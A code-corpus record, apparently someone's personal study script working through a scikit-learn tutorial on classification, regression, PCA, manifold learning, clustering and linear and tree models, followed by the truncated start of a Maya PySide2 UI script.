class\n\"\"\"\nfrom sklearn.neighbors import KNeighborsClassifier\nknn=KNeighborsClassifier(n_neighbors=1)\n#knn=KNeighborsClassifier(n_neighbors=3)\n#knn=KNeighborsClassifier(n_neighbors=10)\n#knn=KNeighborsClassifier(n_neighbors=20)\nknn.fit(X_train,y_train)\nplt.scatter(X[:,0],X[:,1],c=y,s=40)\nplt.xlabel(\"first feature\")\nplt.ylabel(\"second feature\")\nplot_2d_separator(knn,X)\nknn.score(X_test,y_test)\n\"\"\"\nApplication on the iris dataset\nwe change the number of n_neighbors in the estimator\n\"\"\"\nfrom sklearn.datasets import load_iris\niris=load_iris()\nfrom sklearn.cross_validation import train_test_split\nX_train,X_test,y_train,y_test=train_test_split(iris.data,iris.target)\nknn=KNeighborsClassifier(n_neighbors=2)\nknn.fit(X_train,y_train)\nprint(knn.score(X_train,y_train))\nprint(knn.score(X_test,y_test))\nprint(knn.predict(X_test))\n\"\"\"\nNow we start with another important subject which is REGRESSION\nin regression, we try to predict a continuous output variable\n\"\"\"\nimport matplotlib.pyplot as plt\nimport numpy as np\nx=np.linspace(-3,3,100)\nprint(x)\ny=np.sin(4*x)+x+np.random.uniform(size=len(x))\nplt.plot(x,y,'o')\n# Linear regression\n# to apply a scikit learn model, we need to make X be a 2d array\nprint(x.shape)\nX=x[:,np.newaxis]\nprint(X.shape)\nfrom sklearn.cross_validation import train_test_split\nX_train,X_test,y_train,y_test=train_test_split(X,y)\n#then we can build our regression model\nfrom sklearn.linear_model import LinearRegression\nregressor=LinearRegression()\nregressor.fit(X_train,y_train)\ny_pred_train=regressor.predict(X_train)\nplt.plot(X_train,y_train,'o',label=\"data\")\nplt.plot(X_train,y_pred_train,'o',label='prediction')\nplt.legend(loc='best')\n# let's try the test set\ny_pred_test=regressor.predict(X_test)\nplt.plot(X_test,y_test,'o',label=\"data\")\nplt.plot(X_test,y_pred_test,'o',label='prediction')\nplt.legend(loc='best')\n#Quantitative evaluation of the score method\nregressor.score(X_test,y_test)\n\"\"\"\nAnother exercise:\nWe compare between the KNeighborsRegressor and LinearRegression on the boston\nhousing dataset \n\"\"\"\nfrom sklearn.datasets import load_boston\nboston=load_boston()\nX_train,X_test,y_train,y_test=train_test_split(boston.data,boston.target,random_state=42)\nprint(boston.DESCR)\nprint(boston.keys())\n#Another compacter manner to do the code\nlr=LinearRegression().fit(X_train,y_train)\nprint(lr.score(X_train,y_train))\nprint(lr.score(X_test,y_test))\nfrom sklearn.neighbors import KNeighborsRegressor\nknn=KNeighborsRegressor(n_neighbors=3).fit(X_train,y_train)\nprint(knn.score(X_train,y_train))\nprint(knn.score(X_test,y_test))\n#######################################################\n#######################################################\n#######################################################\n#######################################################\n#######################################################\n# UNSUPERVISED LEARNING METHOD\n\"\"\"\nUnsupervised Learning: \n- dimensionality reduction\n- manifold learning\n- feature extraction\n- find a new representation of the input data without any additional input\nAnother important application is rescaling the data to have zero mean and \nunit variance which is a very helpful preprocessing step for many machine \nlearning models\n\"\"\"\nimport matplotlib.pyplot as plt\nimport numpy as np\n# RESCALING application\n# The iris dataset is not centered: non-zero mean and the std is different \n# for each component\nfrom sklearn.datasets import load_iris\niris=load_iris()\nX,y = iris.data, iris.target\nprint(X.shape)\nprint(y.shape)\nprint(\"mean: %s \" %X.mean(axis=0))\nprint(\"standard deviation: %s \" %X.std(axis=0))\n# to use preprocessing method we import the estimator: StandardScaler\nfrom sklearn.preprocessing import StandardScaler\nscaler=StandardScaler()\n# As this is an unsupervised model we pass only X and not y\n# we estimate so mean and standard deviation\nscaler.fit(X)\n# we don't call predict but transform for rescaling \nX_scaled=scaler.transform(X)\nprint(X_scaled.shape)\nprint(\"New mean of scaled data\")\nprint(\"mean: %s \" %X_scaled.mean(axis=0))\nprint(\"New std for scaled data\")\nprint(\"standard deviation: %s \" %X_scaled.std(axis=0))\n\"\"\"\nPrincipal Component Analysis\nPCA is an unsupervised transformation. It is a technique to reduce the data \ndimensionality by creating a linear projection so we find new features to \nrepresent the data which are linear combination of the old ones (by a rotation)\n\nMethod: PCA looks for the maximum variance directions then only few components \nthat explains most of the variance in the data are kept.\nNote that the PCA directions are orthogonal\n\"\"\"\n# An example\nrnd=np.random.RandomState(42)\nX_blob=np.dot(rnd.normal(size=(100,2)),rnd.normal(size=(2,2)))+rnd.normal(size=2)\nplt.scatter(X_blob[:,0],X_blob[:,1])\nplt.xlabel(\"feature 1\")\nplt.ylabel(\"feature 2\")\n\"\"\"\n# Another example but with another code\nrnd = np.random.RandomState(5)\nX_ = rnd.normal(size=(300, 2))\nX_blob = np.dot(X_, rnd.normal(size=(2, 2))) + rnd.normal(size=2)\ny = X_[:, 0] > 0\nplt.scatter(X_blob[:, 0], X_blob[:, 1], c=y, linewidths=0, s=30)\nplt.xlabel(\"feature 1\")\nplt.ylabel(\"feature 2\")\n# end of the other manner to do the same things\n\"\"\"\nfrom sklearn.decomposition import PCA\npca=PCA()\n# We fit the PCA model with our data. As PCA is an unsupervised algorithm \n# there is no output y\npca.fit(X_blob)\n# we transform the data and project it on the principal components\nX_pca=pca.transform(X_blob)\nplt.scatter(X_pca[:,0],X_pca[:,1])\nplt.xlabel(\"First principal component\")\nplt.ylabel(\"Second principal component\")\n\"\"\"\nDimensionality Reduction for Visualization with PCA\nNow we study an example with 64 features i.e. dimensions\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import offsetbox\nfrom sklearn import (manifold, datasets, decomposition, ensemble, lda,\n random_projection)\n\ndigits = datasets.load_digits(n_class=6)\nn_digits = 500\nX = digits.data[:n_digits]\ny = digits.target[:n_digits]\nn_samples, n_features = X.shape\nn_neighbors = 30\ndef plot_embedding(X, title=None):\n x_min, x_max = np.min(X, 0), np.max(X, 0)\n X = (X - x_min) / (x_max - x_min)\n\n plt.figure()\n ax = plt.subplot(111)\n for i in range(X.shape[0]):\n plt.text(X[i, 0], X[i, 1], str(digits.target[i]),\n color=plt.cm.Set1(y[i] / 10.),\n fontdict={'weight': 'bold', 'size': 9})\n\n if hasattr(offsetbox, 'AnnotationBbox'):\n # only print thumbnails with matplotlib > 1.0\n shown_images = np.array([[1., 1.]]) # just something big\n for i in range(X.shape[0]):\n dist = np.sum((X[i] - shown_images) ** 2, 1)\n if np.min(dist) < 1e5:\n # don't show points that are too close\n # set a high threshold to basically turn this off\n continue\n shown_images = np.r_[shown_images, [X[i]]]\n imagebox = offsetbox.AnnotationBbox(\n offsetbox.OffsetImage(digits.images[i], cmap=plt.cm.gray_r),\n X[i])\n ax.add_artist(imagebox)\n plt.xticks([]), plt.yticks([])\n if title is not None:\n plt.title(title)\nn_img_per_row = 10\nimg = np.zeros((10 * n_img_per_row, 10 * n_img_per_row))\nfor i in range(n_img_per_row):\n ix = 10 * i + 1\n for j in range(n_img_per_row):\n iy = 10 * j + 1\n img[ix:ix + 8, iy:iy + 8] = X[i * n_img_per_row + j].reshape((8, 8))\nplt.imshow(img, cmap=plt.cm.binary)\nplt.xticks([])\nplt.yticks([])\nplt.title('A selection from the 64-dimensional digits dataset')\nprint(\"Computing PCA projection\")\npca = decomposition.PCA(n_components=2).fit(X)\nX_pca = pca.transform(X)\nplot_embedding(X_pca, \"Principal Components projection of the digits\")\nplt.matshow(pca.components_[0, :].reshape(8, 8), cmap=\"gray\")\nplt.axis('off')\nplt.matshow(pca.components_[1, :].reshape(8, 8), cmap=\"gray\")\nplt.axis('off')\nplt.show()\n\"\"\"\nMANIFOLD LEARNING \nPCA has one weakness which is it cannot detect non-linear features. Then \nthe manifold learning algorithms have been developed to bypass this deficiency.\nIn manifold learning, we use a canonical dataset called the S-curve.\n\"\"\"\nfrom sklearn.datasets import make_s_curve\nX,y=make_s_curve(n_samples=1000)\nfrom mpl_toolkits.mplot3d import Axes3D\nax=plt.axes(projection='3d')\nax.scatter3D(X[:,0],X[:,1],X[:,2],c=y)\nax.view_init(10,-60)\n# this is a 2D dataset embedded in 3D, but it is embedded in such a way that \n#PCA can't discover the underlying data orientation.\nfrom sklearn import decomposition\nX_pca=decomposition.PCA(n_components=2).fit_transform(X)\nplt.scatter(X_pca[:,0],X_pca[:,1],c=y)\n#Manifold learning algorithms, however, available in the sklearn.manifold\n#submodule, are able to recover the underlying 2-dimensional manifold:\nfrom sklearn.manifold import Isomap\niso = Isomap(n_neighbors=15, n_components=2)\nX_iso = iso.fit_transform(X)\nplt.scatter(X_iso[:, 0], X_iso[:, 1], c=y)\n\"\"\"\nExercise: Compare the results of Isomap and PCA on a 5-class subset of the \ndigits dataset (load_digits(5))\nBonus: Also compare to TSNE, another popular manifold learning technique.\n\"\"\"\nfrom sklearn.datasets import load_digits\ndigits=load_digits(5)\nX=digits.data\nisomap=Isomap(n_neighbors=15,n_components=2)\nX_trans=isomap.fit_transform(X)\nprint(X_trans.shape)\nplt.scatter(X_trans[:,0],X_trans[:,1],c=digits.target)\n# Another method\nfrom sklearn.manifold import TSNE\ntsne = TSNE()\nX_tsne = tsne.fit_transform(X)\nplt.scatter(X_tsne[:, 0], X_tsne[:, 1], c=digits.target)\nprint(X_tsne.shape)\n\"\"\"\nClustering with unsupervised learning method\n\n\"\"\"\nfrom sklearn.datasets import make_blobs\nX,y=make_blobs(random_state=42)\nX.shape\nplt.scatter(X[:,0],X[:,1])\n\"\"\"\nThere are 3 groups in the data. We want to recover them using clustering.\nEven if the groups are obvious in the data, it is hard to find them when \nthe data is located in high-dimensional space.\nWe will use one of the simplest clustering algorithm which is K-means\n\"\"\"\nfrom sklearn.cluster import KMeans\nkmeans=KMeans(n_clusters=3,random_state=42)\nlabels=kmeans.fit_predict(X)\nprint(all(labels==kmeans.labels_))\nplt.scatter(X[:,0],X[:,1],c=labels)\n\"\"\"\"\nwe need a better estimator for the clustering accuracy so we compare our data\nto the ground truth we got wen generating the blobs\n\"\"\"\nfrom sklearn.metrics import confusion_matrix,accuracy_score\nprint(accuracy_score(y,labels))\nprint(confusion_matrix(y,labels))\nnp.mean(y==labels)\n# Invariant to permutations of the labels\n# Attention a very important technique in clustering to avoid loosing labels\nfrom sklearn.metrics import adjusted_rand_score\nadjusted_rand_score(y,labels)\n\"\"\"\nClustering comes with assumptions: A clustering algorithm finds clusters by \nmaking assumptions with samples should be grouped together. Each algorithm makes\ndifferent assumptions and the quality and interpretability of your results \nwill depend on whether the assumptions are satisfied for your goal: \nFor K-means clustering: the model is that all clusters have equal spherical \nvariance\nK-means comes with idea that there are a centers and circles around centers \nwhich are the variances for clusters points\nVERY IMPORTANT: if we want to fail the k-means algorithm, we generate non-\nisotropic clusters.\n\"\"\"\nfrom sklearn.datasets import make_blobs\nX,y=make_blobs(random_state=170,n_samples=600)\nrng=np.random.RandomState(74)\ntransformation=rng.normal(size=(2,2))\nX=np.dot(X,transformation)\ny_pred=KMeans(n_clusters=3).fit_predict(X)\nplt.scatter(X[:,0],X[:,1],c=y_pred)\nkmeans.cluster_centers_\n# After this failed example for kmeans we go to an exercise\n\"\"\"\nDigits clustering\n\n\"\"\"\nfrom sklearn.datasets import load_digits\ndigits=load_digits()\n# Is the solution from solutions/08B_digits_clustering.py\nfrom sklearn.cluster import KMeans\nkmeans = KMeans(n_clusters=10)\nclusters = kmeans.fit_predict(digits.data)\nprint(kmeans.cluster_centers_.shape)\n#------------------------------------------------------------\n# visualize the cluster centers\nfig = plt.figure(figsize=(8, 3))\nfor i in range(10):\n ax = fig.add_subplot(2, 5, 1 + i)\n ax.imshow(kmeans.cluster_centers_[i].reshape((8, 8)),\n cmap=plt.cm.binary)\nfrom sklearn.manifold import Isomap\nX_iso = Isomap(n_neighbors=10).fit_transform(digits.data)\n#-----------------------------------------------------------\n# visualize the projected data\nfig, ax = plt.subplots(1, 2, figsize=(8, 4))\nax[0].scatter(X_iso[:, 0], X_iso[:, 1], c=clusters)\nax[1].scatter(X_iso[:, 0], X_iso[:, 1], c=digits.target)\n# End of the solution code\nplt.imshow(digits.images[0])\nplt.figure()\nplt.imshow(digits.images[0],interpolation='nearest')\nplt.matshow(digits.images[0])\nadjusted_rand_score(digits.target,clusters)\n\"\"\"\nNow we start with application of the ML paradigms and algorithms on real data\nCase Study number 1 - Supervised Classification of Handwritten Digits\n\nFirst of all: a good idea to start a data problem is to visuliaze data using \none of the dimensionality reduction techniques. One starts with the most \nstraightforward one which is Principal Component Analysis (PCA).\nIDEA OF PCA:\nPCA seeks orthogonal linear combinations of the features which show the \ngreatest variance and like this \"as such\" can help give us a good idea of the \ndata structure \nWe will use RandomizedPCA because it is faster for large N\n\"\"\"\nfrom sklearn.datasets import load_digits\ndigits=load_digits()\nimport matplotlib.pyplot as plt\nfig = plt.figure(figsize=(6, 6)) # figure size in inches\nfig.subplots_adjust(left=0, right=1, bottom=0, top=1, hspace=0.05, wspace=0.05)\n\n# plot the digits: each image is 8x8 pixels\nfor i in range(64):\n ax = fig.add_subplot(8, 8, i + 1, xticks=[], yticks=[])\n ax.imshow(digits.images[i], cmap=plt.cm.binary, interpolation='nearest')\n \n # label the image with the target value\n ax.text(0, 7, str(digits.target[i]))\nfrom sklearn.decomposition import RandomizedPCA\npca=RandomizedPCA(n_components=2,random_state=1999)\nproj=pca.fit_transform(digits.data)\nplt.scatter(proj[:,0],proj[:,1],c=digits.target)\nplt.colorbar()\n\"\"\"\nA weakness of PCA is that it produces a linear dimensionality reduction:\nthis may miss some interesting relationships in the data.\nFor non-linear data mapping: we can use manifold module methods. For the moment, \nwe will use Isomap (a concatenation of Isometric Mapping) based on graph\ntheory.\n\"\"\"\nfrom sklearn.manifold import Isomap\niso=Isomap(n_neighbors=5,n_components=2)\nproj=iso.fit_transform(digits.data)\nplt.scatter(proj[:,0],proj[:,1],c=digits.target)\nplt.colorbar()\n# these visualizations show us that there is hope: even a simple classifier \n#should be able to adequately identify the members of the various classes.\n\"\"\"\nNow we continue with the basic idea that consists of finding the most simple\nmethod or algorithm to understand data before going to more complex methods\nA good method Gaussian Naive Bayes: \nIt is a generative classifier which fits an axis-aligned multi-dimensional \nGaussian distribution to each training label, and uses this to quickly give\na rough classification. It is generally not sufficiently accurate for \nreal-world data, but can perform surprisingly well.\n\"\"\"\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.cross_validation import train_test_split\n#split the data into training and validation sets\nX_train, X_test, y_train, y_test=train_test_split(digits.data,digits.target)\n#train the model\nclf=GaussianNB()\nclf.fit(X_train,y_train)\n#use the model to predict the labels of the test data\npredicted=clf.predict(X_test)\nexpected=y_test\nfig = plt.figure(figsize=(6, 6)) # figure size in inches\nfig.subplots_adjust(left=0, right=1, bottom=0, top=1, hspace=0.05, wspace=0.05)\n\n# plot the digits: each image is 8x8 pixels\nfor i in range(64):\n ax = fig.add_subplot(8, 8, i + 1, xticks=[], yticks=[])\n ax.imshow(X_test.reshape(-1, 8, 8)[i], cmap=plt.cm.binary,\n interpolation='nearest')\n \n # label the image with the target value\n if predicted[i] == expected[i]:\n ax.text(0, 7, str(predicted[i]), color='green')\n else:\n ax.text(0, 7, str(predicted[i]), color='red')\n#Quantitative analysis of the error\nmatches = (predicted == expected)\nprint(matches.sum())\nprint(len(matches))\nmatches.sum() / float(len(matches))\nprint(clf.score(X_test, y_test))\n\nfrom sklearn import metrics\nprint(metrics.classification_report(expected, predicted))\nprint(metrics.confusion_matrix(expected, predicted))\nplt.matshow(metrics.confusion_matrix(expected, predicted))\n#plt.matshow(metrics.confusion_matrix(expected, predicted),map=\"gray\")\n\"\"\"\nLet's start now with a difficult example which is \nUnsupervised Preprocessing and an example from Image Processing\n\"\"\"\nimport matplotlib.pyplot as plt\n# Using PCA to plot Datasets\n\"\"\"\nPCA is a useful preprocessing technique for both visualizing data in 2 or 3 \ndimensions, and for improving the performance of downstream algorithms such as \nclassifiers. We will see more details about using PCA as part of a ML pipeline \nin the net section, but here we explain the intuition behind what PCA does and \nwhy it is useful for certain tasks.\nthe goal of PCA is to find the dimensions of maximum variation in the data, and \nproject onto them. this is helpful for data that stretched in a particular \ndimension. Here a 2D example \n\"\"\"\nimport numpy as np\nrandom_state=np.random.RandomState(1999)\nX=np.random.randn(500,2)\nred_idx=np.where(X[:,0]<0)[0]\nblue_idx=np.where(X[:,0]>=0)[0]\n#stretching\ns_matrix=np.array([[1,0],[0,20]])\n#Rotation\nr_angle=33\nr_rad=np.pi*r_angle/180\nr_matrix=np.array([[np.cos(r_rad), -np.sin(r_rad)],[np.sin(r_rad), np.cos(r_rad)]])\nX=np.dot(X,s_matrix).dot(r_matrix)\nplt.scatter(X[red_idx,0],X[red_idx,1],color=\"darkred\")\nplt.scatter(X[blue_idx,0],X[blue_idx,1],color=\"steelblue\")\nplt.axis('off')\nplt.title(\"Skewed Data\")\n# We use PCA method now\nfrom sklearn.decomposition import PCA\npca=PCA()\nX_t=pca.fit_transform(X)\nplt.scatter(X_t[red_idx,0],X_t[red_idx,1],color=\"darkred\")\nplt.scatter(X_t[blue_idx,0],X_t[blue_idx,1],color=\"steelblue\")\nplt.axis('off')\nplt.title(\"PCA Corrected Data\")\n\"\"\"\nNote that we can use PCA to visualize complex data in low dimensions in order \nto see how \"close\" and \"far\" different datapoints are in a 2D space. \nThere are many different ways to do this visualization, and some common \nalgorithms are found in sklearn.manifold. PCA is one of the simplest and most \ncommon methods for quickly visualizing a dataset.\n\"\"\"\n\"\"\"\nNow we'll take a look at unsupervised learning on a facial recognition example.\n This uses a dataset available within scikit-learn consisting of a subset of \n the Labeled Faces in the Wild data. Note that this is a relatively large \n download (~200MB) so it may take a while to execute.\n\"\"\"\nfrom sklearn import datasets\n# The dataset will be downloaded from internet 200 MB\nlfw_people=datasets.fetch_lfw_people(min_faces_per_person=70,resize=0.4,\n data_home='datasets')\nlfw_people.data.shape\n# Visualization of the faces \n# Let's visualize these faces to see what we're working with:\nfig=plt.figure(figsize=(8,6))\n#plot several images\nfor i in range(15):\n ax=fig.add_subplot(3,5,i+1,xticks=[],yticks=[])\n ax.imshow(lfw_people.images[i],cmap=plt.cm.bone)\n\nfrom sklearn.cross_validation import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(lfw_people.data, \n lfw_people.target, random_state=0)\nprint(X_train.shape, X_test.shape)\nfrom sklearn import decomposition\npca = decomposition.RandomizedPCA(n_components=150, whiten=True)\npca.fit(X_train)\nplt.imshow(pca.mean_.reshape((50, 37)), cmap=plt.cm.bone)\nprint(pca.components_.shape)\nfig = plt.figure(figsize=(16, 6))\nfor i in range(30):\n ax = fig.add_subplot(3, 10, i + 1, xticks=[], yticks=[])\n ax.imshow(pca.components_[i].reshape((50, 37)), cmap=plt.cm.bone)\nX_train_pca = pca.transform(X_train)\nX_test_pca = pca.transform(X_test)\nprint(X_train_pca.shape)\nprint(X_test_pca.shape)\n\"\"\"\n\n\"\"\"\nimport numpy as np\nplt.figure(figsize=(10, 2))\nunique_targets = np.unique(lfw_people.target)\ncounts = [(lfw_people.target == i).sum() for i in unique_targets]\nplt.xticks(unique_targets, lfw_people.target_names[unique_targets])\nlocs, labels = plt.xticks()\nplt.setp(labels, rotation=45, size=14)\n_ = plt.bar(unique_targets, counts)\nfrom sklearn.cross_validation import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(\n lfw_people.data, lfw_people.target, random_state=0)\n\nprint(X_train.shape, X_test.shape)\n\nfrom sklearn import decomposition\npca = decomposition.RandomizedPCA(n_components=150, whiten=True,\n random_state=1999)\npca.fit(X_train)\nX_train_pca = pca.transform(X_train)\nX_test_pca = pca.transform(X_test)\nprint(X_train_pca.shape)\nprint(X_test_pca.shape)\n\nfrom sklearn import svm\nclf = svm.SVC(C=5., gamma=0.001)\nclf.fit(X_train_pca, y_train)\n\nfig = plt.figure(figsize=(8, 6))\nfor i in range(15):\n ax = fig.add_subplot(3, 5, i + 1, xticks=[], yticks=[])\n ax.imshow(X_test[i].reshape((50, 37)), cmap=plt.cm.bone)\n y_pred = clf.predict(X_test_pca[i])[0]\n color = 'black' if y_pred == y_test[i] else 'red'\n ax.set_title(lfw_people.target_names[y_pred], fontsize='small', color=color)\n\nprint(clf.score(X_test_pca, y_test))\n\"\"\"\nNOW NOW NOW NOW NOW NOW NOW NOW NOW NOW NOW NOW NOW NOW NOW NOW\nNOW NOW NOW NOW NOW NOW NOW NOW NOW NOW NOW NOW NOW NOW NOW NOW\nWe start the next 3 hours of the courses of scikit-learn\nMachine Learning with Scikit Learn: \n\"SciPy 2015 Tutorial Andreas Mueller & Kyle Kastner Part I & II\" \n\"\"\"\n\"\"\"\nLet's start with the Cross validation techniques: \n\"\"\"\n\n\n# Add this later to the Cross validation and the grid search part\nclf = GridSearchCV(SVR(), param_grid=param_grid)\ncross_val_score(clf,X,y)\n\"\"\"\nNow we start in depth with the Linear models:\nLinear Models for classification:\nAll linear models for classification learn a coefficient parameter coef_ and \nan offset intercept_ to make predictions using a linear combination features.\nThe classification process is similar to regression but only that a threshold \nat zero is applied.\nThe difference between the different linear models is the regularization of \nthe coef_ and intercept_ and the loss function.\nFor linear classification, the 2 most common models are the linear SVM \nimplemented in LinearSVC and LogisticRegression.\nRegularization:\nIn the presence of many features: the linear classifier can suffer an over-fit\n so it is necessary to regularize. Then large C values give unregularized model\n while small C give strongly regularized models.\nWe can have two kind of behaviors:\n- In high regularization: the importance is given for most of the points: it is \nenough is most of the points are classified correctly.\n- In less regularization: the importance is given to each individual data point.\n\"\"\"\n# An illustration using a linear SVM with different values of C:\nfrom figures import plot_linear_svc_regularization\nplot_linear_svc_regularization()\n# Similar for the Ridge/Lasso separation (we can set the penalty parameter to\n# to l1 to enforce sparsity of the coefficients)\n# Exercise : Use logisticRegression to classify digits, and \n#grid-search for the C parameter.\nfrom sklearn.linear_model import LogisticRegression\nparams={'C' : [0.001,0.01,0.1,1,10,100]}\nfrom sklearn.grid_search import GridSearchCV\nfrom sklearn.datasets import load_digits\nfrom sklearn.cross_validation import train_test_split\ndigits=load_digits()\nX_train,X_test,y_train,y_test=train_test_split(digits.data,digits.target)\ngrid=GridSearchCV(LogisticRegression(),param_grid=params,n_jobs=-1)\ngrid.fit(X_train,y_train)\ngrid.score(X_test,y_test)\n\"\"\"\nLinear models for regression:\nLinear models are useful when little data is available or for very large feature \nspaces as in text classification. \nThey form a good case study for regularization.\nthe params are in coef_\nthe interecept is in intercept_\nThe most standard linear model is the ordinary least squares regression often\n simply called linear regression, this model does not put any additional \n restrictions on coef_ so when the features number is largen it becomes \n ill-posed and the model overfits.\n\"\"\"\n#Now we will generate a simple simulation and see the behavior of the model\nimport numpy as np\nimport matplotlib.pyplot as plt\nrng=np.random.RandomState(4)\nX=rng.normal(size=(1000,50))\nbeta=rng.normal(size=50)\ny=np.dot(X,beta)+4*rng.normal(size=1000)\nfrom sklearn.utils import shuffle\nX,y=shuffle(X,y)\nfrom sklearn import linear_model, cross_validation\nfrom sklearn.learning_curve import learning_curve\ndef plot_learning_curve(est,X,y):\n training_set_size,train_scores,test_scores=learning_curve(est,X,y,train_sizes=np.linspace(0.1,1,30))\n estimator_name=est.__class__.__name__\n line=plt.plot(training_set_size,train_scores.mean(axis=1),'--',label=\"training scores\"+estimator_name)\n plt.xlabel(\"training set size\")\n plt.legend(loc=\"best\")\n #plt.ylim(-1,1)\nplot_learning_curve(linear_model.LinearRegression(),X,y)\n\"\"\"\nWe see two important things:\nThe ordinary linear regression is not defined if the number of training samples \nis than features.\nIn the presence of noise: this model is overfitting: we need then to regularize \n\"\"\"\n\"\"\"\nThe ridge estimator is a simple regularization (called l2 penalty) of the \nOLR\nThe ridge estimator is less expensive in computation than the OLR.\n\"\"\"\nplot_learning_curve(linear_model.LinearRegression(),X,y)\nplot_learning_curve(linear_model.Ridge(alpha=20),X,y)\nplot_learning_curve(linear_model.RidgeCV(), X, y)\nplot_learning_curve(linear_model.LinearRegression(),X,y)\nplot_learning_curve(linear_model.Ridge(alpha=20),X,y)\nplot_learning_curve(linear_model.RidgeCV(), X, y)\n\"\"\"\nThe Lasso estimator is useful to impose sparsity on the coefficient.\nIt is used if we believe that many of the features are not relevant which is \ndone via the l1 penalty.\n\"\"\"\n#Let us create such a situation with a new simulation where only 10 out \n#of the 50 features are relevant:\nbeta[10:] = 0\ny = np.dot(X, beta) + 4*rng.normal(size=1000)\nplot_learning_curve(linear_model.Ridge(), X, y)\nplot_learning_curve(linear_model.Lasso(), X, y)\n\n\n\n\n\"\"\"\nI will return another day on the linear model \nNow let's go to the Support Vector Machines\nFor classification problems: SVC\nFor regression problems: SVR\nLinear SVM and Kernel SVM (linear,poly,rbf) \n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom sklearn.metrics.pairwise import rbf_kernel\nline=np.linspace(-3,3,100)[:,np.newaxis]\nkernel_value=rbf_kernel(line,[[0]],gamma=1)\nplt.plot(line,kernel_value)\n# the idea here is to vary the value of C and gamma and see the change\nfrom figures import plot_svm_interactive\nplot_svm_interactive()\n\n# Exercise without solution\nfrom sklearn import datasets\ndigits = datasets.load_digits()\nX, y = digits.data, digits.target\n\"\"\"\nEstimators in Depth: Trees and Forests:\nHere we will explore a class of algorithms based on decision trees.\nDecision trees are very intuitive. They encode a series of if and else choices.\nreally similar to how a person might make a decision However which questions \nto ask and how to proceed for each answer is entirely learned from the data.\n\"\"\"\n\"\"\"\nDecision tree Regression:\nA decision tree is a simple binary classification tree that is similar to nearest\n neighbor classification. \n\"\"\"\nfrom figures import make_dataset\nx,y=make_dataset()\nX=x.reshape(-1,1)\nfrom sklearn.tree import DecisionTreeRegressor\nreg=DecisionTreeRegressor(max_depth=5)\nreg.fit(X,y)\nX_fit=np.linspace(-3,3,1000).reshape((-1,1))\ny_fit_1=reg.predict(X_fit)\nplt.plot(X_fit.ravel(),y_fit_1,color='blue',label='prediction')\nplt.plot(X.ravel(),y,'.k',label='training data')\nplt.legend(loc='best')\n\"\"\"\nDecision Tree Classification:\n\"\"\"\nfrom sklearn.datasets import make_blobs\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.tree import DecisionTreeClassifier\nfrom figures import plot_2d_separator\nX,y=make_blobs(centers=[[0,0],[1,1]],random_state=61526,n_samples=100)\nX_train,X_test,y_train,y_test=train_test_split(X,y)\nclf=DecisionTreeClassifier(max_depth=5)\nclf.fit(X_train,y_train)\nplot_2d_separator(clf,X,fill=True)","repo_name":"AhmedRebai/data_analysis","sub_path":"untitled0.py","file_name":"untitled0.py","file_ext":"py","file_size_in_byte":33448,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"39834741993","text":"## \n# See More Tech Art Tools @ https://github.com/BlakeXYZ\n# Cheers, BlakeXYZ\n##\n\nimport random\nimport datetime \nimport json\nfrom pathlib import Path\nimport sys, os\n\nimport maya.cmds as cmds\nimport maya.mel as mel\nfrom maya import OpenMayaUI as omui\nfrom shiboken2 import wrapInstance\n\nfrom PySide2.QtCore import *\nfrom PySide2.QtGui import *\nfrom PySide2.QtWidgets import *\nfrom PySide2 import QtUiTools, QtCore, QtGui, QtWidgets\n\nclass Ui_MainWindow(object): # compiled Ui_MainWindow.ui\n def setupUi(self, MainWindow):\n if not MainWindow.objectName():\n MainWindow.setObjectName(u\"MainWindow\")\n MainWindow.resize(684, 340)\n self.centralwidget = QWidget(MainWindow)\n self.centralwidget.setObjectName(u\"centralwidget\")\n self.gridLayout = QGridLayout(self.centralwidget)\n self.gridLayout.setObjectName(u\"gridLayout\")\n self.label_title = QLabel(self.centralwidget)\n self.label_title.setObjectName(u\"label_title\")\n sizePolicy = QSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label_title.sizePolicy().hasHeightForWidth())\n self.label_title.setSizePolicy(sizePolicy)\n self.label_title.setMaximumSize(QSize(16777215, 55))\n font = QFont()\n font.setPointSize(10)\n self.label_title.setFont(font)\n self.label_title.setAlignment(Qt.AlignCenter)\n\n self.gridLayout.addWidget(self.label_title, 0, 0, 1, 2)\n\n self.verticalSpacer_2 = QSpacerItem(20, 17, QSizePolicy.Minimum, QSizePolicy.Fixed)\n\n self.gridLayout.addItem(self.verticalSpacer_2, 1, 0, 1, 1)\n\n self.verticalLayout_3 = QVBoxLayout()\n self.verticalLayout_3.setObjectName(u\"verticalLayout_3\")\n self.label_fun_fact = QLabel(self.centralwidget)\n self.label_fun_fact.setObjectName(u\"label_fun_fact\")\n sizePolicy.setHeightForWidth(self.label_fun_fact.sizePolicy().hasHeightForWidth())\n self.label_fun_fact.setSizePolicy(sizePolicy)\n font1 = QFont()\n font1.setPointSize(14)\n self.label_fun_fact.setFont(font1)\n self.label_fun_fact.setAlignment(Qt.AlignCenter)\n self.label_fun_fact.setWordWrap(True)\n self.label_fun_fact.setTextInteractionFlags(Qt.LinksAccessibleByMouse|Qt.TextSelectableByMouse)\n\n self.verticalLayout_3.addWidget(self.label_fun_fact)\n\n\n self.gridLayout.addLayout(self.verticalLayout_3, 2, 0, 1, 2)\n\n self.verticalSpacer = QSpacerItem(466, 25, QSizePolicy.Minimum, QSizePolicy.Fixed)\n\n self.gridLayout.addItem(self.verticalSpacer, 3, 0, 1, 1)\n\n self.btn_closeWindow = QPushButton(self.centralwidget)\n self.btn_closeWindow.setObjectName(u\"btn_closeWindow\")\n self.btn_closeWindow.setMinimumSize(QSize(0, 32))\n font2 = QFont()\n font2.setPointSize(8)\n self.btn_closeWindow.setFont(font2)\n\n self.gridLayout.addWidget(self.btn_closeWindow, 4, 0, 1, 1)\n\n self.btn_openSettings = QPushButton(self.centralwidget)\n self.btn_openSettings.setObjectName(u\"btn_openSettings\")\n self.btn_openSettings.setMinimumSize(QSize(48, 32))\n self.btn_openSettings.setMaximumSize(QSize(48, 